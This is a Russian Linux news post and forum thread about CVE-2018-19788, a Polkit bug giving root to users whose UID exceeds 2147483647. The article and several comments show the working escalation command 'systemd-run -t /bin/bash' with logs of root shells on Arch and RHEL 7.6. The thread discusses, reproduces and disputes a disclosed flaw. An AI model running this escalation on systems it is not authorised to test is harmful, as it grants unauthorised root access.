LINUX.ORG.RU

Обнаружена уязвимость в Polkit, которая позволяет выполнять любую команду systemctl пользователю с низкими привилегиями

 , , ,


1

2

Уязвимость CVE-2018-19788 присутствует на большинстве операционных систем GNU/Linux и позволяет пользователю, чей UID превышает 2147483647, выполнить любую команду systemctl, равно как и получить root-права.

Проблема существует из-за ошибки в библиотеке Polkit (другое название PolicyKit), заключающейся в неправильной проверки запросов от пользователей с UID > INT_MAX. Где INT_MAX это константа определяющая максимальное значение переменной типа int, равняющаяся 0x7FFFFFFF в шестнадцатеричной или 2147483647 в десятичной системе счисления.

Исследователь по безопасности Rich Mirch (аккаунт в Twitter 0xm1rch) представил успешно работающий эксплоит, демонстрирущий данную уязвимость. Для его корректной работы требуется наличие пользователя с идентификатором 4000000000.

В Twitter'е предлагают гораздо более простой способ получения root-прав:

systemd-run -t /bin/bash

Компания Red Hat рекомендует системным администраторам не создавать аккаунты с отрицательными значениями UID или UID превышающими 2147483647 до тех пор, пока не будет выпущен патч, исправляющий уязвимость.

>>> Подробности

★★★★★

Проверено: Shaman007 ()
Последнее исправление: ls-h (всего исправлений: 5)
Ответ на: комментарий от Deleted

и за мельдонии со спектрам тоже линус нам ответит, сожгем его на костре

Вполне можно и это притянуть. Учитывая, что ещё лет десять назад шли разговоры о возможной дыре.

kirk_johnson ★☆
()
Ответ на: комментарий от kirk_johnson

если используя чужую поделку ты позволяешь получить рута в своем софте

Получение рута с разрешения полкита абсолютно правильное поведение. В этом нет никакой ошибки.

Ivan_qrt ★★★★★
()
Ответ на: комментарий от Ivan_qrt

Получение рута с разрешения полкита абсолютно правильное поведение. В этом нет никакой ошибки.

Просто рута получил не тот, кто должен был. А так, конечно, ничего страшного.

kirk_johnson ★☆
()
Ответ на: комментарий от Novell-ch

У меня тоже Fedora 29, но выхлоп другой:

[user@localhost ~]$ systemd-run -t /bin/bash
Failed to start transient service unit: Access denied
[user@localhost ~]$ login lolka
[user@localhost ~]$ sudo su -l lolka
[sudo] password for user: 
[lolka@localhost ~]$ systemd-run -t /bin/bash
**
ERROR:pkttyagent.c:156:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Failed to start transient service unit: Access denied
[lolka@localhost ~]$ 

Desmond_Hume ★★★★★
()
Ответ на: комментарий от anonymous

Можешь уточнить, какие данные тут входные и как их надо было проверять.

Грубо говоря systemd спрашивает polkit: «пускать ли такого-то пользователя к рулю?» Polkit отвечает: «да, пускать».

Что должны были в такой ситуации дополнительно проверять в systemd?

alpha ★★★★★
()
Ответ на: комментарий от anonymous

Но если разраб не проверил входные данные чужой поделки и тем самым позволил получать рута

uid 4000000000 - нормальный uid. Это валидные входные данные.

Ivan_qrt ★★★★★
()
Ответ на: комментарий от kirk_johnson

Просто рута получил не тот, кто должен был.

Если ты в правилах polkit пропишешь разрешать всем, systemd тоже должен это запретить? Полкит сказал можно - systemd пустил. Что не так?

Ivan_qrt ★★★★★
()
Ответ на: комментарий от alpha

Грубо говоря systemd спрашивает polkit: «пускать ли такого-то пользователя к рулю?» Polkit отвечает: «да, пускать».

Что должны были в такой ситуации дополнительно проверять в systemd?

В такой ситуации systemd (и все остальные клоуны) должны проверять, что ИХ софт не выполняет того, чего выполнять не должен. То есть тестировать свое поделие, прежде чем вываливать это на публику с мыслью «Для security-oriented фичи мы используем софт, конфиг которого написан на javascript. Что может пойти не так?».

kirk_johnson ★☆
()
Ответ на: комментарий от Desmond_Hume

А вы когда результатами делитесь, не хотите хотя бы версию polkit добавить к логу?

Ну так, для интереса, вдруг она на что-нибудь влияет...

alpha ★★★★★
()
Ответ на: комментарий от anonymous

А кто тебе давал право хейтить и за что-то спрашивать с разработчиков фрии опен сорц. Не нравиться что-то - ревьюрь, комить или сядь и заткнись. Опен сорц девелоперы из нот ёр привэйт арми, понимаешь ли. Сам небось у мамки на шее или мани-мэйкер, а энтузиасты тебе виноваты. Фи.

anonymous
()
Ответ на: комментарий от kirk_johnson

Ты поменьше эмоций, побольше по делу давай. Что именно должны были протестировать на стороне systemd?

Какой case?

alpha ★★★★★
()
Ответ на: комментарий от anonymous

А кто тебе давал право хейтить и за что-то спрашивать с разработчиков фрии опен сорц. Не нравиться что-то - ревьюрь, комить или сядь и заткнись. Опен сорц девелоперы из нот ёр привэйт арми, понимаешь ли. Сам небось у мамки на шее или мани-мэйкер, а энтузиасты тебе виноваты. Фи.

Ну только polkit писали парни из RedHat. Им за это платят.

kirk_johnson ★☆
()
Ответ на: комментарий от alpha

[ebuild R ] sys-auth/polkit-0.115-r2::gentoo USE=«introspection jit nls pam (selinux) systemd -elogind -examples -gtk -kde -test» 0 KiB
Но, это вам наверняка не интересно, не федора же.

imul ★★★★★
()
Ответ на: комментарий от alpha

Какой case?

Ты пытаешься запустить демон, который не должен мочь запустить, и не можешь его запустить. UID_MAX — очевидный кандидат на тестирование.

P.S. Кто-то может пойти дальше и спросить, а что все это барахло (проверка прав) вообще делает в системе для старта софта, но чего уж тут.

kirk_johnson ★☆
()
Последнее исправление: kirk_johnson (всего исправлений: 3)
Ответ на: комментарий от alpha

Что должны были в такой ситуации дополнительно проверять в systemd?

проверить мнение диванных аналитиков с ЛОРа конечно же. пять звезд, а такие глупые вопросы.

Deleted
()
Ответ на: комментарий от kirk_johnson

Кто платит, тот и спросит. Тебе небось тоже за что-то да и платят, давай всем миром твои косяки обсудим, какой ты криворукий и вообще.

anonymous
()
Ответ на: комментарий от imul

Да, в данном случае это было про fedora 29, потому что polkit-0.115-4.1.fc29 с фиксом уже выкатили в обновления.

Но и в остальных случаях сравнение результатов без версий - не тру.

alpha ★★★★★
()
Ответ на: комментарий от anonymous

Кто платит, тот и спросит. Тебе небось тоже за что-то да и платят, давай всем миром твои косяки обсудим, какой ты криворукий и вообще.

RedHat в каждом релизе хвастается про самый безопасный софт... и вот опять.

kirk_johnson ★☆
()
Ответ на: комментарий от kirk_johnson

Ты пытаешься запустить демон, который не должен мочь запустить, и не можешь его запустить. UID_MAX — очевидный кандидат на тестирование.

systemd должен давать права на запуск всем, кому polkit сказал давать права на запуск. Это должно было быть протестировано, было протестировано, и именно так и работает.

systemd нет дела до того где и как там парсится UID_MAX, это работа polkit (unix-way, если что).

а что все это барахло (проверка прав) вообще делает в системе для старта софта

ты совсем не знаешь что такое polkit да?

alpha ★★★★★
()
Ответ на: комментарий от Deleted

Уже признал свою неправоту, признаю еще раз: почему-то думал, что PolKit и SystemD находятся в плотной связи. Я ошибался.

balsoft ★★
()

в стабильной слаке

>:/tmp$ sudo -u user5 pkexec /bin/bash
Password: 

(process:1854): GLib-GObject-WARNING **: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
Authentication is needed to run `/bin/bash' as the super user
Authenticating as: root
password:
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized

This incident has been reported.
>:/tmp$ su - user5
Password: 
No directory, logging in with HOME=/
user5@slacka:/$ id
uid=4000000000(user5) gid=1001(user5) groups=1001(user5)
user5@slacka:/$ pkexec /bin/bash

(process:1872): GLib-GObject-WARNING **: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkexec.c:753:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Aborted
user5@slacka:/$ 

чтобы не было ошибки polkit-agent-helper-1: error response... нужно pkttyagent в отдельном терминале запускать, подцепляясь им к процессу основного, после этого аутентификация срабатывает, если правильный пароль рута введён
а сам pkttyagent при запуске от любого юзера вообще никаких ошибок не выдаёт

liberty1
()
Ответ на: комментарий от imul

Вон, даже в Слаке пишут вверху, тоже эта уличная магия не работает. Хотя, Патрег - Бох, это понятно ...

Desmond_Hume ★★★★★
()

Работаит!

[pocuser@homepc int13h]$ systemd-run -t /bin/bash

(pkttyagent:1538): GLib-GObject-WARNING **: 22:28:26.636: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:156:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Running as unit: run-u163.service
Press ^] three times within 1s to disconnect TTY.
[root@homepc /]# cat /etc/passwd | grep pocuser
pocuser:x:4000000000:1003::/home/pocuser:/bin/bash
[root@homepc /]# systemd-run --version
systemd 239
+PAM +AUDIT -SELINUX -IMA -APPARMOR +SMACK -SYSVINIT +UTMP +LIBCRYPTSETUP +GCRYPT +GNUTLS +ACL +XZ +LZ4 +SECCOMP +BLKID +ELFUTILS +KMOD +IDN2 -IDN +PCRE2 default-hierarchy=hybrid
[root@homepc /]# 
[root@homepc /]# uname -a
Linux homepc 4.19.8-arch1-1-ARCH #1 SMP PREEMPT Sat Dec 8 13:49:11 UTC 2018 x86_64 GNU/Linux
int13h ★★★★★
()
Последнее исправление: int13h (всего исправлений: 1)
Ответ на: комментарий от liberty1

Уже выяснили, что pkexec работает некорректно, поэтому уязвимость не проявляется. Ставь systemd и проверяй через systemd-run -t /bin/bash

imul ★★★★★
()
Ответ на: комментарий от alpha

systemd должен давать права на запуск всем, кому polkit сказал давать права на запуск. Это должно было быть протестировано, было протестировано, и именно так и работает.

Эээ... правильно ли я тебя понимаю: чуваки ставят дефолтную систему, запускают проверки, кто имеет доступ к разным командам systemctl, выясняют, что произвольный юзер оказывается может получить рута... и такие, лан, норм, это polkit виноват, мы-то причем?

systemd нет дела до того где и как там парсится UID_MAX, это работа polkit (unix-way, если что).

Вообще есть. Они (не)тестируют фичу запуска привилегированных операций. У них в софте есть фича: если ты не рут, проверить, можно ли тебя пустить, если у тебя есть права в polkit. Не просто пускает ли тебя polkit или нет, а соответсвует ли ожидаемое поведение (пускают только юзера с auth_admin) реальному. А для этого реальное поведение нужно сначала сформулировать. А уже из сформулированного ожидаемого поведения (не)делаются test-case'ы.

ты совсем не знаешь что такое polkit да?

Я сейчас про systemd, не про polkit.

kirk_johnson ★☆
()
Последнее исправление: kirk_johnson (всего исправлений: 1)
Ответ на: комментарий от Desmond_Hume

ага, сам в шоковом состоянии пребываю

int13h ★★★★★
()

Я думал ерунда... А потом прочитал:

не создавать аккаунты с отрицательными значениями UID или UID превышающими 2147483647

и уполз под стол.

kirill_rrr ★★★★★
()
Ответ на: комментарий от Desmond_Hume

ЕБАНЫЙ СТЫД


Last login: Tue Dec 11 22:38:13 2018
[root@localhost ~]# sudo useradd -u 4000000000  pocuser
[root@localhost ~]# sudo -upocuser bash
[pocuser@localhost root]$ whoami
pocuser
[pocuser@localhost root]$ systemd-run -t /bin/bash
Running as unit run-3395.service.
Press ^] three times within 1s to disconnect TTY.
[root@localhost /]# cat /etc/redhat-release 
Red Hat Enterprise Linux Server release 7.6 (Maipo)
[root@localhost /]# whoami 
root
[root@localhost /]# uname -a
Linux localhost.localdomain 3.10.0-957.1.3.el7.x86_64 #1 SMP Thu Nov 15 17:36:42 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
[root@localhost /]# systemd-run --version
systemd 219
+PAM +AUDIT +SELINUX +IMA -APPARMOR +SMACK +SYSVINIT +UTMP +LIBCRYPTSETUP +GCRYPT +GNUTLS +ACL +XZ +LZ4 -SECCOMP +BLKID +ELFUTILS +KMOD +IDN
[root@localhost /]# 


int13h ★★★★★
()
Ответ на: ЕБАНЫЙ СТЫД от int13h

0_o Вот от RHEL не ожидал такого! Значит, и на центоси заработает, наверное. Надо им срочно из федоры патч тащить к себе). Ядро старое, кстати. Всё-таки, в новом ядре много чего прикрывают, оказывается.

Desmond_Hume ★★★★★
()
Последнее исправление: Desmond_Hume (всего исправлений: 1)

Эти отсталые рукожлпы кодят без -Werror, а потом int к uint и дыра на дыре.

anonymous
()
Ответ на: комментарий от imul

Уже выяснили, что pkexec работает некорректно, поэтому уязвимость не проявляется.

где некорректно? пароль от рута запросил, как и ожидалось

Ставь systemd и проверяй через systemd-run -t /bin/bash

не всем нужен systemd на слаке
раз уж дело в polkit, то можно и обойтись

liberty1
()
Ответ на: комментарий от kirk_johnson

произвольный юзер оказывается может получить рута...

И так чуточку, совсем ненавязчиво передергиваем.

Вообще это отличная идея конечно, требовать чтобы systemd теперь своими юнит-тестами покрыл весь софт написанный за двадцать лет до него, плюс «дефолтные» установки дистрибутивов. Можно и все остальные интеграционные тесты и acceptance-тестирование впридачу тоже им выдать, пускай работают.

А мы их ещё грязью за это польем чтобы не расслаблялись.

alpha ★★★★★
()
Ответ на: комментарий от alpha

И так чуточку, совсем ненавязчиво передергиваем.

В чем?

Вообще это отличная идея конечно, требовать чтобы systemd теперь своими юнит-тестами покрыл весь софт написанный за двадцать лет до него, плюс «дефолтные» установки дистрибутивов. Можно и все остальные интеграционные тесты и acceptance-тестирование впридачу тоже им выдать, пускай работают.

Ты как-то невзначай пропустила момент, что они вообще-то должны были не polkit тестировать, а СВОЮ (свою, понимаешь?) фичу. Которая работает в связке с полкитом. Но проверять они должны, что ИХ софт никого не пускает, кроме тех, кого должен (потому что они в том числе свою политику polkit распространяют).

Блин, это правда так сложно понять?

P.S. Это одна из причин почему к сложным системам много вопросов с точки зрения безопасности. Потому что покрыть тестами все не выйдет, и рано или поздно что-то где-то выстрелит. Поэтому проще не совать механизмы авторизации в софт, которому это не нужно. Но фоннаты systemd громко орали, что дескать его пишут правильные программисты и все зашибись. И вот опять.

kirk_johnson ★☆
()
Последнее исправление: kirk_johnson (всего исправлений: 1)
Ответ на: комментарий от int13h

Полкит в портах-то есть наверное.

d_a ★★★★★
()
Ответ на: комментарий от liberty1

в арче без использования systemd-run

>:~$ sudo -u user4 pkexec /bin/bash
[sudo] password for archik: 

(process:709): GLib-GObject-WARNING **: 23:05:25.031: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
[root@archik ~]# 
[root@archik ~]# exit
exit
>:~$ su - user4
Password: 
su: warning: cannot change directory to /home/user4: No such file or directory
[user4@archik]$ id
uid=4000000000(user4) gid=1001(user4) groups=1001(user4)
[user4@archik]$ 

liberty1
()
Ответ на: комментарий от kirk_johnson

Но фоннаты systemd громко орали, что дескать его пишут правильные программисты и все зашибись. И вот опять.

И вот опять что? Механизм авторизации опять сработал как механизм авторизации? Вот же злодеи.

СВОЮ (свою, понимаешь?) фичу.

Не, не понимаю. Иди на libvirt что ли направь свой праведный гнев. Они раньше в очереди стояли.

Потому что это не ИХ, (не их, понимаешь?) фича, это базовая функциональность системы существовавшая задолго до появления systemd и являющаяся стандартом. И любой современный проект должен её поддерживать. (В каких случаях её использовать - это уже другой вопрос.)

И да, можно долго разговаривать о том как линукс стал сложнее, умнее и как страшно жить. Можно пойди сделать hardened-дистр с отлючением всех «новомодных» фишечек (новомодность начинается с 2009 примерно).

А можно взять себя в руки, перестать истерить и поработать над налаживанием обновлений на всех подконтрольных серверах, потому что уязвимости есть и будут и никто от них не застрахован. Святое ядро в том числе.

alpha ★★★★★
()
Последнее исправление: alpha (всего исправлений: 1)
Ответ на: комментарий от liberty1

где некорректно?

Он дополнительно проверяет uid.

раз уж дело в polkit, то можно и обойтись

Прочитай весь топик, уже разобрали, что pkexec не подходит для тестирования этой уязвимости.

imul ★★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.